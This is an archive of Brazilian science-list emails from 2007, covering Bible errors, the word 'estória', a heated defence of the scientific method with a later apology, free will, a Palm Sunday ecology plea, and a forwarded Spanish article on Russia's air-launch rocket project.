----- Original Messa ge -----
From: Silvio Cordeiro
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, March 31, 2007 10:27 AM
Subject: Re: [ciencialist] Alteracoes na Biblia

Vitor:
A pronuncia correta é "is" e não "es" que modernosos usasm para conspurcar a língua: converse com uma pessoa qualquer na rua e faça com que ela use a palavra: ferás a pronúncia correta.
Admiro esse afâ de contestar será por minha pessoa ou realmente detestam os falares de sua Pátria?

sds.,
silvio
----- Original Message -----
From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, March 31, 2007 6:49 AM
Subject: Re: [ciencialist] Alteracoes na Biblia

Mestre Sílvius,

Uma palavra escrita é um conjunto de símbolos que expressa os sons que são produzidos por nosso juízo, tantã ou não. Em qualquer ídioma. Varia apenas a forma de grafá-los. Mas, em cada caso, o essencial é isto: fazer-se entender. E não é imperioso que se estabeleçam regras e mais regras, de forma a que esses símbolos se apresentem "politicamente" inseridos num contexto,elegantemente interconectados, e outras saídas do armário associadas, para que as idéias sejam captadas pelos circunstantes! Fiz-me compreender?
Contudo, e não mais que contudo, fui alí e encontrei que a grafia dos sons emitidos por minha vã prosopopéia está grafado como precisamente alí diz:

Michaelis Moderno Dicionário da Língua Portuguesa

. es.tó.ria

sf (gr historía) Narrativa de lendas, contos tradicionais de ficção; ''causo'': ''Ouviram atentos aquelas estórias de mentira, da 'mula-sem-cabeça', do saci, do curupira. Mais tarde tiveram que mergulhar fundo nas histórias de verdade, para saber como foi construído o Brasil'' (Francisco Marins). E. em quadrinhos: série de desenhos, em uma série de quadros, que representam uma estória, com legendas ou sem elas. E. da carochinha: conto da carochinha. Estórias do arco da velha: coisas inverossímeis, inacreditáveis. Estória para boi dormir, gír: conversa enfadonha, com intuito de embair; conversa fiada. Deixar-se de estórias: evitar rodeios, indo logo ao ponto principal.

Ou seja, para exprimir exatamente o que quis dizer, com todo o potencial de minha heresia, nenhuma outra palavra, das que sei, serviria. Somente "estória" é que estaria, como está, corretamente inserida no contexto:
"....a bíblia SEQUER está errada! São estórias prá boi dormir."
De outro modo, não seria eu o bom hereje que sou, ora!
Bem, espero ter contado direitinho a história da estória espinafrada.

Particularmente, não acho francesismos, anglicanismos, e outros frescurismos, sejam "barbarismos" a serem evitados, em qualquer situação. Pior do que prostituir a língua(êpa, língua falada...) é prostituir o juízo do usuário dessa língua, com promessas e mais promessas, com mentiras e o mais associado; é prostituir a sociedade com a neurose justificada e real da falta de segurança, em todas as áreas, sendo a física tão visceralmente atingida quanto qualquer outra, apenas, no momento, mascarada por aquela. Um básico e necessário a um mínimo de conforto nesta curta vida que ainda haveremos de atravessar, é-nos negado, com estórias e mais estórias. Essa é que é a história, o realitiy show, ontem e agora!
Conclusão: a história é bem outra, em curso no dia a dia nosso de cada segundo. E juro que não é estória!

Sds,
Victor.

----- Original Message -----
From: Silvio Cordeiro
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 9:29 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

"estória" é um barbarismo copiado dos americanos e não tem guarida na nossa língua. O único escritor brasileiro que a usou com propriedade, copiando os falaes do povo do interior é Guimarães Rosa.
Não entendo essa crua necessidade de prostituir o idioma pátrio.

silvio.
----- Original Message -----
From: Victor
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 9:06 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Adeilson,

".....acreditaria na mentira, estou certo?"

Em minha opinião você está certíssimo. Claro que noventa e trocentas pessoas acharão que não.
Já estive lá e sei.

Ainda, em minha opinião, e parodiando Pauli. diria: a bíblia SEQUER está errada!. São estórias prá boi dormir.

Sds,
Victor.

----- Original Message -----
From: Adeilson Moreira Junior
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 7:15 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Erros eu procuro no sentido de algum dos porta vozes divinos ter escrito uma coisa e , por exemplo, um monge copista ter alterado para adequar aos dogmas catolicos. Nao procuro erros logicos.
Eu passei a me interessar mais pela Biblia de tanto ouvir crentes chorando ao meu ouvido a perfeicao que é a Biblia, que ela conem todas as verdades, que isso, que aquilo...
A Biblia nao é um livro divino. Para mim, é apenas mais uma obra humana, e todo e qualquer estudioso de teologia sabe que a maior parte dela foi escrita a partir de dados orais muito posteriores aos acontecimentos. Alguem aqui ja brincou de telefone sem fio???
A Biblia é uma obra valida, assim como o Corao. Na verdade, quem acredita na Biblia como verdade absoluta, se tivesse nascido, por exemplo, na Arabia Saudita, acreditaria na mentira, estou certo?

----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 30, 2007 5:40 PM
Subject: Re: [ciencialist] Alteracoes na Biblia

Bíblia é uma antologia, uma coletânea de ficção literária no tema 'misticismo'. São narrativas de pensamento, sem qualquer cunho lógico (da matemática) ou científico. Procurar erros em tais narrativas é procurar 'palavras' em dicionários ortográficos.
Se a Bíblia não sofresse alterações para se re-ajustar à época e seus modismos não seria o livro mais vendido do mundo; dogmas não são permanentes! Cada narrativa deve ser alterada para ter um novo sentido condizente com os padrões da população vigente. Cada crente deve consultar a 'bíblia atualizada' assim como cada aluno deve consultar o 'novo dicionário da língua portuguesa'. As 'parábolas' da Bíblia não são da forma y = ax^2+bx+c; se o fossem não sofreriam alterações.
Todavia, sua solicitação é válida e ... nosso cérebro positrônico, modelo vivo das leis robóticas do Bom Doutor, de sobrenome fictício 'Takata', com certeza lhe dará dúzias desses links.

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Adeilson Moreira Junior" <adeilsonmoreirajr@hotmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 30 de março de 2007 16:29
Assunto: [ciencialist] Alteracoes na Biblia

Algum de voces conhece algum site que trate da Biblia e os erros que ela contem? Sei que durante o processo historico ocorreram muitas alteracoes visando a afirmacao de dogmas da Igreja, porem eu ainda nao consegui encontrar informacoes mais concentradas, somente dados soltos por diversos sites.
Obrigado desde ja,

Adeilson Moreira Junior

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SUBJECT: Re: Tinha um (ignorante) no Meio do Caminho (sobre os sem noção.:-)
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/04/2007 13:04

Olá Ferrari

O texto que postou demonstra um profundo desconhecimento sobre
ciência, lógica, razão, pensamento coerente, pensamento crítico, e
outras ferramentas cognitivas. Nem sei por onde começar, de tão
simplório e falacioso..:-)

Bem, primeiro, cientistas de TV NÃO são cientistas de verdade, mas
imagens midiáticas, sem relação com a ciência propriamente dita. Se
existem, é porque mesmo os MAIS tolos percebem claramente que o
conhecimento científico é mais EFICAZ e mais correto que qualquer outro.

Por isso a ligação com comerciais e alegações. Na verdade, mesmo as
mais absurdas pseudociências, e mesmo sua fé tola e sem base, precisam
usar termos "científicos", precisam alegar serem "cientificamente
provadas", ou não se consideram capazes de convencer.

Mas o conhecimento científico NÃO é válido por ser "feito por
cientistas". Não é nos cientistas que se "acredita", ou melhor, que se
confia nas conclusões, mas no método que foi utilizado para produzir
essas conclusões.

Tem razão, não perguntamos ao médico como o tratamento ou droga que
ele receita foi produzido. Está implícito no sistema que foi produzido
pelo mesmo método que produz carros mais seguros, satélites
geo-estacionários, redes de computadores mundiais, que aumentou a
expectativa de vida em mais de 3 vezes (de menos de 30 de nossos
antepassados, para mais de 85 anos), e toda profusão de conehcimento a
nossa volta.

E mesmo essa presunção pode ser suspensa, se o médico demonstrar estar
"fora" desse padrão, e será punido pelos órgãos encarregados de
fiscalizar os médicos.

É uma confiança embasada em eficácia, confiabilidade, decorrente do
método com que conclusões e conhecimento é produzido, não nos médicos
ou mesmo nos cientistas.

Na verdade, refutar uma alegação de um cientista costuma ganhar
prêmios, como o Nobel, pois AUMENTAM nosso conhecimento do mundo e a
confiabilidade desse conhecimento.

|Você só pode escrever as asneiras que escreve, e envia-las para um
monte de pessoas, porque a ciência que embasa seu computador, os
satélites, os softwares, o eletromagnetismo, a relatividade, etc, etc,
etc, são muito próximas da verdade, de serem reais.

Se dependesse apenas de sua "fé" em tolices como as que apresenta
(deuses, mapas mentais, e outras bobagens), estaria falando sozinho
até agora.

Por isso você, que não "acredita no mito da ciência", usa a ciência,
se beneficia desta, para viver melhor, mais tempo, com menos doenças e
dor, com mais conforto e uma enorme expectativa de vida, para tentar
convencer outros de seus absurdos, e não sua divindade maluca e sem
evidências.

É um profundo desconhecimento do que é ciência e conhecimento
confiável, uma ignorância feliz e cega em bobagens esotéricas.

É evidente para QUALQUER pessoas com mais de 3 neurônios, que um
sistema de validação tem de existir, em termos de acumular
conhecimento confiável, pois seria claramente IMPOSSÍVEL re-verificar
todo conhecimento, toda ciência, toda informação, toda conclusão,
antes de agir. Verificar, por exemplo, se os sistemas de freio ABS são
mesmo seguros como os testes de laboratório indicam, antes de comprar
e usar um automóvel (cada cidadão que comprasse um automóvel), ou
refazer todos os extensos testes de laboratório para novos
medicamentos (levam anos para desenvolver um medicamento seguro e
confiável).

Antes de vacinar seus filhos, teria de refazer as décadas de estudos
com vacinas, para se garantir que são capazes de evitar a contaminação.

É uma estupidez evidente.

Por isso um método de verificação foi criado e é aperfeiçoado a cada
dia. Por isso antes de publicar em uma revista científica, cada estudo
é testado, replicado, refeito, por cientistas, o que inclui os que tem
dúvidas ou discordam do estudo inicial, até a exaustão. Só depois é
publicado, o que nos garante que um bocado de gente se dedicou a
analisar e um bocado de esforço foi feito para verificar a questão.

Confia-se no método, não nos cientistas (como você confia no Papa e na
Biblia). E só se confia, porque esse método tem demonstrado ser eficaz
(olhe em volta, Ferrari, e tente encontrar algo que NÃO deriva do
método), seguro, e produzir dados consistentes.

Apresente um método alternativo que seja tão capaz quanto o método
científico, e abandonamos na hora e adotamos o seu. Mas se tudo o que
tem é uma f´pe tola e cega, não vai dar. Nem você está disposto a
abandonar os sucessos da ciência (por exemplo, pare de usar
computadores e passe a propagar suas mensagens por telepatia, rezas ou
forças divinas..:-).

Um cientista afirma algo. Você parece pensar, com extrema ingenuidade
e ignorância, que imediatamente todos os outros cientistas aceitam e
passam a "acreditar" na alegação, pois foi dita por um "cientista".

O erro é crasso. Mesmo cientistas tem de passar pelo método. Na
verdade, é um cientista SE passar pelo método. Por exemplo, se um
cientista, um grupo de cientistas, afirmar que pode produzir fusão em
temperaturas ambientes, fusão à frio, ele tem de PROVAR isso.

Se os outros cientistas, e outros laboratórios, que irão replicar,
analisar e criticar essa alegação, não puderem encontrar evidências
reais, será descartada.

E foi. Uma alegação de cientistas que foi descartada, como muitas, por
ser incapaz de produzir evidências sólidas.

Toda alegação atual da ciência passou por dúvidas, críticas ferozes,
análises profundas, antes de ser aceita. Seja a Teoria da Deriva dos
Continentes, recusada por décadas por falta de evidências, seja a
micro-biologia, que teve de esperar anos para ser aceita (e levou
Pasteur, um cientista consagrado, ao limite do escárnio).

Confiamos na micro-biologia, porque este conhecimento passou por
rigoroso teste, de décadas, e se demonstrou correto, e sobreviveu a
todos os ataques. Não, como parece pensar (ou NÃO pensar) porque foi
produzido por cientistas.

Ferrari: "Afinal de contas, para que
> serve a nossa cabeça? Ainda podemos pensar? Adianta
> pensar?"

Sim, seria bom que aprendesse a pensar, no lugar de acreditar em
tolices simplórias da religião, e em bobagens esotéricas, jogos de
palavras com termos que não compreende como "energia", campos,
matéria, etc. Seria excelente que abandonasse a postura bobo alegre e
pensasse de verdade, com a razão, não com o desejo pessoal de validar
uma fé cega em seres imaginários.

Ferrari: "É necessário acabar com o mito de que o cientista é uma
pessoa que pensa melhor do que as outras."

Esse "mito" só existe em sua cabeça. O cientista é qualquer pessoa que
aplique a um conhecimento o método, rigoroso, científico, criado para
ajudar a produzir conehcimento confiável, apesar dos defeitos e erros
de nossa mente e sentidos.

Até um idiota pode produzir conehcimento científico, até você pode
produzir conehcimento científico, se usar o método, se seus estudos se
submeterem a este, se sobreviver ao rigoroso escrutínio de sistemas de
análise e crítica deste método.

Ferrari: "O fato
> de uma pessoa ser muito boa para jogar xadrez não
> significa que ela seja mais inteligente do que os
> não-jogadores. Você pode ser um especialista em
> resolver quebra-cabeças. Isto não o torna mais
> capacitado na arte de pensar."

Outro texto "de impacto" e totalmente irrelevante, tolo e sem sentido
para a discussão. e daí? O que isso significa? Mais uma "frase" que
ouviu sem entender a que se aplica, como a maioria de seus chavões e
frases feitas.

Seu ataque a ciência é uma bobagem! Não existe a "ciência" que pensa
atacar, não existem os "cientistas" que pensa atacar! Existe um
método, um conjunto de procedimentos e estruturas que nos permitiu
filtrar realidade de imaginação, seres imaginários de seres reais, e
que resulta em tanta confiabilidade que mesmo você, sem entender nada
de nada, usa os resultados desses processos para viver e se expressar.

Um idiota, se usar o método, pode produzir conhecimento que será
aceito, um genio, cientista, jogador de xadrez em nível de mestre, com
QI de 180, pode ter sua alegação recusada por não sobreviver ao método.

O resto é uma viagem sem sentido de imaginação, o que você "imagina"
que seja ciência, "imagina" que sejam cientistas", "imagina" que seja
o universo e suas divindades inexistentes.

Sua diatribe contra a ciência é um dos textos mais tolos que já tive a
oportunidade de ler. Nunca o termo "sem noção" foi tão bem aplicado..:-)

Homero







--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...> escreveu
>
> Veja as imagens da ciência e do cientista que aparecem
> na televisão. Os agentes de propaganda não são bobos.
> Se eles usam tais imagens é porque eles sabem que elas
> são eficientes para desencadear decisões e
> comportamentos. É o que foi dito antes: cientista tem
> autoridade, sabe sobre o que está falando e os outros
> devem ouvi-lo e obedecê-lo.
>
> Daí que imagem de ciência e cientista pode e é usada
> para ajudar a vender cigarro. Veja, por exemplo, os
> novos tipos de cigarro, produzidos cientificamente. E
> os laboratórios, microscópios e cientistas de aventais
> imaculadamente brancos enchem os olhos e a cabeça dos
> telespectadores. E há cientistas que anunciam pasta de
> dente, remédios para caspa, varizes, e assim por
> diante.
>
> O cientista virou um mito. E todo mito é perigoso,
> porque ele induz o comportamento e inibe o pensamento.
> Este é um dos resultados engraçados (e trágicos) da
> ciência. Se existe uma classe especializada em pensar
> de maneira correta (os cientistas), os outros
> indivíduos são liberados da obrigação de pensar e
> podem simplesmente fazer o que os cientistas mandam.
>
> Quando o médico lhe dá uma receita você faz perguntas?
> Sabe como os medicamentos funcionam? Será que você se
> pergunta se o médico sabe como os medicamentos
> funcionam? Ele manda, a gente compra e toma. Não
> pensamos. Obedecemos. Não precisamos pensar, porque
> acreditamos que há indivíduos especializados e
> competentes em pensar. Pagamos para que ele pense por
> nós.
>
> O que eu disse dos médicos você pode aplicar a tudo.
> Os economistas tomam decisões e temos de obedecer. Os
> engenheiros e urbanistas dizem como devem ser as
> nossas cidades, e assim acontece. Dizem que o álcool
> será a solução para que nossos automóveis continuem a
> trafegar, e a agricultura se altera para que a palavra
> dos técnicos se cumpra. Afinal de contas, para que
> serve a nossa cabeça? Ainda podemos pensar? Adianta
> pensar?
>
> É necessário acabar com o mito de que o cientista é
> uma pessoa que pensa melhor do que as outras. O fato
> de uma pessoa ser muito boa para jogar xadrez não
> significa que ela seja mais inteligente do que os
> não-jogadores. Você pode ser um especialista em
> resolver quebra-cabeças. Isto não o torna mais
> capacitado na arte de pensar.
>
>
>
>
>
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> EXPERIMENTE XIXI COM TINTA
> O novo livro de Marcelo Ferrari:
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http://www.livrosvirtuais.com.br/vivali.asp?loja=1186&div=&link=VerProduto&Produto=97664
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> Para receber meus textos inéditos, envie um email para:
> mferrari-subscribe@yahoogrupos.com.br
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> Meu portal:
> http://www.ferrari.kit.net
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SUBJECT: RE: Murilo: Como funciona o processo...?
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/04/2007 14:00

Olá Murilo Anderson!

Murilo >>> Acho bom a gente ter cuidado, pq já
brigamos antes e meu tempo é curto.

--- Mr. Anderson, tá com pressa de chegar a onde?
Hehehehe... Relaxa: qualquer lugar que vc chegar será
apenas um lugar qualquer.

Murilo >>> Eu posso sim decidir não exercitar minha
dialética.

--- Sim, isto é o que o Mr. Anderson pensa.

Murilo >>> Há que existir um mínimo de base filosófica
p/esse tipo de papo, vc sabe.

--- Não é base filosofica, é consciencial.

Murilo >>> "Livre arbítrio" existe sim, vc não poderá
negar.

--- Mr. Anderson, não estou dizendo que não existe o
processo do livre-arbítrio. Sim, existe. O que estou
dizendo é que não existe o processo do livre-arbítrio
tal qual os espíritas, os católicos, e até mesmo os
ateus o compreendem e definem. Ou seja, não existe
livre-arbítrio na ação. O livre-arbítrio é um processo
do espírito (consciencia) e não dá mente (cérebro).

Murilo >>> A metáfora do Orlando se deve às diferenças
entre os mundos dos interlocutores.

--- Hehehehehe... Já ouviu o termo "loucura
controlada". Foi o carlos castanheda que invetou. Me
sinto assim, controlado entre uma loucura e outra.

--- Observe isto aqui: O dificil não é ser louco. Ser
louco é fácil, é natural, o dificil é ser normal.
Abrimos a mão e a pedra cai. Não é preciso esforço
para ser natural, só é preciso esforço para ser
cultural.

Murilo >>> Prá mim, um proto-hyppie, um sítio ainda
está faltando em minha vida.

--- Já tentou um acordo com a Agente Smith? O Cifer
consegiu uma fazenda no Arizona que é uma beleza.

Murilo >>> Que eternidade é esta que não tarda nem
falha?

--- Alguma vez vc já testemunhou uma dia que não
trouxesse uma noite? Ou uma noite que não trouxesse um
dia? Alguma vez vc já testemunhou uma hora que não
tivesse 60 minutos? Um minuto que não tivesse 60
seguntos, e assim por diante...

--- Eis ai a eternidade que não tarda nem falha.


a woman with red dress pra vc
abç. ferrari








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SUBJECT: Aos católicos da lista.
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <redeliberal@yahoogrupos.com.br>, <politicab@yahoogrupos.com.br>, <Conversa_de_Botequim@yahoogrupos.com.br>, <consciencia_sustentavel@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, Grupo de Debates Políticos Brasileiro <brasil-politica@grupos.com.br>, "Reflita Brasil" <reflitabrasil@grupos.com.br>, "Cidadania Alerta" <cidadanialerta@terra.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 02/04/2007 14:20

Amigo(a)s:

Ontem ví cêna insólita: senhoras cortando pequenas palmeiras que crescem com extrema dificuldade nas áreas de restinga..

(pequena faixa de vegetação típica, que intermediária entre a praia e a terra ou ruas, servindo como elemento vital para a proteção da praia contra erosão e, em sua bio-diversidade, o meio-ambiente para a manutenção de diversos animais inclusive lindas corujas)

As folhas retiradas foram solenemente levadas à igreja católica onde um padre as benzeu em homenagem do "domingo de ramos".

Vemos hoje uma enorme degradação dos diversos ambientes naturais, e tomo a liberdade de sugerir que os católicos que concordem com essa idéia, sugeram aos responsáveis pela igreja, até mesmo ao Sr. Cardeal, que concitem os fiéis a não mais cortarem essências de nossa flora para esse ritual: transformem a cerimônia em doação: cada fiel leva um pequeno envelope com sementes de hortaliças, sementes essas que o sr. padre entregará ao serviço de parques e jardins da Prefeitura que as distribuirá nas áreas carentes da cidade para auxiliar na criação de hortas comunitárias (estímulo)
.
Imagino que o sr. deus, em seu trono dourado, dará um sorriso paternal e fará um carinho naquelas cabeças, quase todas mostrando com sua piedade, as neves que vêem com o tempo..

Um abraço fraterno,

silvio.





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Al espacio desde un avión
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/04/2007 14:52

Al espacio desde un avión
14:11 | 21/ 03/ 2007




Andrei Kisliakov, RIA Novosti.

Actualmente en el campo de las investigaciones espaciales se ha formado la manifiesta tendencia al aumento de la demanda de cohetes portadores de clase ligera.

Ello se debe a un impetuoso crecimiento del número de programas que prevén crear ingenios espaciales de pequeño porte que forman parte de sistemas satelitales de comunicaciones de órbita baja, sistemas de teledetección de la Tierra, sistemas de navegación con la ejecución de investigaciones espaciales, científicas y experimentales.

Es de notar que el método más prometedor desde el punto de vista tanto técnico como económico parece ser el de poner en órbita circunterrestre estos ingenios con ayuda de la aviación. Los estudios realizados en Rusia dieron por resultado el desarrollo del programa "Lanzamiento aéreo" que se realiza con éxito en estrecha cooperación con Indonesia.

La idea de realizar este lanzamiento poco común radica en que el avión pesado de transporte "Ruslán" lleve un cohete de dos escalones con satélite a una altura de 11 kilómetros y lo arroja. Cuando mediante un paracaídas el cohete adopta posición vertical se realiza el lanzamiento del primer escalón.

Hoy día Rusia e Indonesia están por concluir el proceso de negociaciones sobre la labor relacionada con la creación de la infraestructura terrestre del sistema aeroespacial "Lanzamiento aéreo" en la isla de Biak. A mediados de marzo lo comunicó Vladimir Degtiar, director del centro coheteril "Oficina de Diseño Makeiev", casa matriz que trabaja en este programa.

"El objetivo básico que nuestra empresa tiene en el marco del Programa Espacial Federal de Rusia es crear el sistema "Lanzamiento aéreo" -, dijo Degtiar-. Este trabajo se está ejecutando por las principales plantas de la industria aeroespacial de Rusia con la participación de la empresa Antonov de Ucrania en lo referente a crear el portador a base del avión pesado An-124-100 ("Ruslán")".

Según Degtiar, en estos momentos acaba de concluir el trabajo de proyección a base de bocetos, se ha hecho el business plan, se han realizado los estudios de viabilidad del proyecto y elaborado los documentos organizativos indispensables para concluir el proceso de negociaciones con los socios extranjeros en materia de las inversiones e inicio de los trabajos con vistas a crear la infraestructura terrestre.

Al decir del director, "la carga útil que se ponga en una órbita de referencia que está a una altitud de 200 km y con una inclinación de 90 grados supera las características de los proyectos norteamericanos análogos, mientras que las posibilidades de colocar mediante el sistema "Lanzamiento aéreo" una carga útil de 0,8 toneladas en una órbita geoestacionaria (cuya altitud es de 36 000 km) no tiene precedente en la práctica mundial".

Ya antes el presidente del proyecto "Lanzamiento aéreo", Anatoli Karpov, había dicho que el costo del sistema es de 120-130 millones de dólares. Este costo relativamente bajo del proyecto se debe a que en el mismo se utilizarán "componentes altamente fiables ya creados". Se trata del avión pesado de transporte An-124-100, modificado en avión portador que se encargará de transportar el cohete portador hacia el punto del lanzamiento y realizará la maniobra de prelanzamiento, un propulsor modificado a base de oxígeno y kerosene NK-43M (es el propulsor del primer escalón "Polet") y el bloque modificado "I" del cohete portador "Soyuz-2".

Se prevé realizar las pruebas en vuelo del sistema en 2009.
14:11 | 21/ 03/ 2007




Andrei Kisliakov, RIA Novosti.

Actualmente en el campo de las investigaciones espaciales se ha formado la manifiesta tendencia al aumento de la demanda de cohetes portadores de clase ligera.

Ello se debe a un impetuoso crecimiento del número de programas que prevén crear ingenios espaciales de pequeño porte que forman parte de sistemas satelitales de comunicaciones de órbita baja, sistemas de teledetección de la Tierra, sistemas de navegación con la ejecución de investigaciones espaciales, científicas y experimentales.

Es de notar que el método más prometedor desde el punto de vista tanto técnico como económico parece ser el de poner en órbita circunterrestre estos ingenios con ayuda de la aviación. Los estudios realizados en Rusia dieron por resultado el desarrollo del programa "Lanzamiento aéreo" que se realiza con éxito en estrecha cooperación con Indonesia.

La idea de realizar este lanzamiento poco común radica en que el avión pesado de transporte "Ruslán" lleve un cohete de dos escalones con satélite a una altura de 11 kilómetros y lo arroja. Cuando mediante un paracaídas el cohete adopta posición vertical se realiza el lanzamiento del primer escalón.

Hoy día Rusia e Indonesia están por concluir el proceso de negociaciones sobre la labor relacionada con la creación de la infraestructura terrestre del sistema aeroespacial "Lanzamiento aéreo" en la isla de Biak. A mediados de marzo lo comunicó Vladimir Degtiar, director del centro coheteril "Oficina de Diseño Makeiev", casa matriz que trabaja en este programa.

"El objetivo básico que nuestra empresa tiene en el marco del Programa Espacial Federal de Rusia es crear el sistema "Lanzamiento aéreo" -, dijo Degtiar-. Este trabajo se está ejecutando por las principales plantas de la industria aeroespacial de Rusia con la participación de la empresa Antonov de Ucrania en lo referente a crear el portador a base del avión pesado An-124-100 ("Ruslán")".

Según Degtiar, en estos momentos acaba de concluir el trabajo de proyección a base de bocetos, se ha hecho el business plan, se han realizado los estudios de viabilidad del proyecto y elaborado los documentos organizativos indispensables para concluir el proceso de negociaciones con los socios extranjeros en materia de las inversiones e inicio de los trabajos con vistas a crear la infraestructura terrestre.

Al decir del director, "la carga útil que se ponga en una órbita de referencia que está a una altitud de 200 km y con una inclinación de 90 grados supera las características de los proyectos norteamericanos análogos, mientras que las posibilidades de colocar mediante el sistema "Lanzamiento aéreo" una carga útil de 0,8 toneladas en una órbita geoestacionaria (cuya altitud es de 36 000 km) no tiene precedente en la práctica mundial".

Ya antes el presidente del proyecto "Lanzamiento aéreo", Anatoli Karpov, había dicho que el costo del sistema es de 120-130 millones de dólares. Este costo relativamente bajo del proyecto se debe a que en el mismo se utilizarán "componentes altamente fiables ya creados". Se trata del avión pesado de transporte An-124-100, modificado en avión portador que se encargará de transportar el cohete portador hacia el punto del lanzamiento y realizará la maniobra de prelanzamiento, un propulsor modificado a base de oxígeno y kerosene NK-43M (es el propulsor del primer escalón "Polet") y el bloque modificado "I" del cohete portador "Soyuz-2".

Se prevé realizar las pruebas en vuelo del sistema en 2009.

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Correrção para o termo ignorante (era Tinha um (ignorante) no Meio do Caminho)
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/04/2007 15:04

Olá pessoal

Depois de enviar a mensagem, eu a reli e ao título, e penso que o termo "ignorante" pode ser mal interpretado e se tornar ofensivo. Peço desculpas antecipadas, se isso ocorreu, em especial ao Ferrari. O termo aqui se refere única e exclusivamente a ignorância de dados, informações, aspectos do problema, etc, sendo uma questão material, objetiva, e não subjetiva ou um julgamento de valor de qualquer tipo.

Eu mesmo sou ignorante em diversas áreas, (embora não pretenda teimar e dar palpite nas mesmas..:-), e considero que isso ocorre com todas as pessoas neste mundo moderno. Até porque não é mais possível uma pessoa ter conhecimento de toda informação produzida pela ciência, como já foi no passado. É , inclusive, um de meus argumentos apresentados no texto, deve-se confiar no método, e não no conhecimento em si, no modo de produzir informação, mais que na informação ou no autor ou defensor da mesma.

Mais um vez, peço desculpas ao Ferrari se o termo foi ofensivo, e insisto que ele deve ser tomado apenas em sua conotação objetiva, de ignorar dados e informações.

Um abraço.

Homero

----- Original Message -----
From: oraculo333
To: ciencialist@yahoogrupos.com.br
Sent: Monday, April 02, 2007 1:04 PM
Subject: [ciencialist] Re: Tinha um (ignorante) no Meio do Caminho (sobre os sem noção.:-)


Olá Ferrari

O texto que postou demonstra um profundo desconhecimento sobre
ciência, lógica, razão, pensamento coerente, pensamento crítico, e
outras ferramentas cognitivas. Nem sei por onde começar, de tão
simplório e falacioso..:-)

Bem, primeiro, cientistas de TV NÃO são cientistas de verdade, mas
imagens midiáticas, sem relação com a ciência propriamente dita. Se
existem, é porque mesmo os MAIS tolos percebem claramente que o
conhecimento científico é mais EFICAZ e mais correto que qualquer outro.

Por isso a ligação com comerciais e alegações. Na verdade, mesmo as
mais absurdas pseudociências, e mesmo sua fé tola e sem base, precisam
usar termos "científicos", precisam alegar serem "cientificamente
provadas", ou não se consideram capazes de convencer.

Mas o conhecimento científico NÃO é válido por ser "feito por
cientistas". Não é nos cientistas que se "acredita", ou melhor, que se
confia nas conclusões, mas no método que foi utilizado para produzir
essas conclusões.

Tem razão, não perguntamos ao médico como o tratamento ou droga que
ele receita foi produzido. Está implícito no sistema que foi produzido
pelo mesmo método que produz carros mais seguros, satélites
geo-estacionários, redes de computadores mundiais, que aumentou a
expectativa de vida em mais de 3 vezes (de menos de 30 de nossos
antepassados, para mais de 85 anos), e toda profusão de conehcimento a
nossa volta.

E mesmo essa presunção pode ser suspensa, se o médico demonstrar estar
"fora" desse padrão, e será punido pelos órgãos encarregados de
fiscalizar os médicos.

É uma confiança embasada em eficácia, confiabilidade, decorrente do
método com que conclusões e conhecimento é produzido, não nos médicos
ou mesmo nos cientistas.

Na verdade, refutar uma alegação de um cientista costuma ganhar
prêmios, como o Nobel, pois AUMENTAM nosso conhecimento do mundo e a
confiabilidade desse conhecimento.

|Você só pode escrever as asneiras que escreve, e envia-las para um
monte de pessoas, porque a ciência que embasa seu computador, os
satélites, os softwares, o eletromagnetismo, a relatividade, etc, etc,
etc, são muito próximas da verdade, de serem reais.

Se dependesse apenas de sua "fé" em tolices como as que apresenta
(deuses, mapas mentais, e outras bobagens), estaria falando sozinho
até agora.

Por isso você, que não "acredita no mito da ciência", usa a ciência,
se beneficia desta, para viver melhor, mais tempo, com menos doenças e
dor, com mais conforto e uma enorme expectativa de vida, para tentar
convencer outros de seus absurdos, e não sua divindade maluca e sem
evidências.

É um profundo desconhecimento do que é ciência e conhecimento
confiável, uma ignorância feliz e cega em bobagens esotéricas.

É evidente para QUALQUER pessoas com mais de 3 neurônios, que um
sistema de validação tem de existir, em termos de acumular
conhecimento confiável, pois seria claramente IMPOSSÍVEL re-verificar
todo conhecimento, toda ciência, toda informação, toda conclusão,
antes de agir. Verificar, por exemplo, se os sistemas de freio ABS são
mesmo seguros como os testes de laboratório indicam, antes de comprar
e usar um automóvel (cada cidadão que comprasse um automóvel), ou
refazer todos os extensos testes de laboratório para novos
medicamentos (levam anos para desenvolver um medicamento seguro e
confiável).

Antes de vacinar seus filhos, teria de refazer as décadas de estudos
com vacinas, para se garantir que são capazes de evitar a contaminação.

É uma estupidez evidente.

Por isso um método de verificação foi criado e é aperfeiçoado a cada
dia. Por isso antes de publicar em uma revista científica, cada estudo
é testado, replicado, refeito, por cientistas, o que inclui os que tem
dúvidas ou discordam do estudo inicial, até a exaustão. Só depois é
publicado, o que nos garante que um bocado de gente se dedicou a
analisar e um bocado de esforço foi feito para verificar a questão.

Confia-se no método, não nos cientistas (como você confia no Papa e na
Biblia). E só se confia, porque esse método tem demonstrado ser eficaz
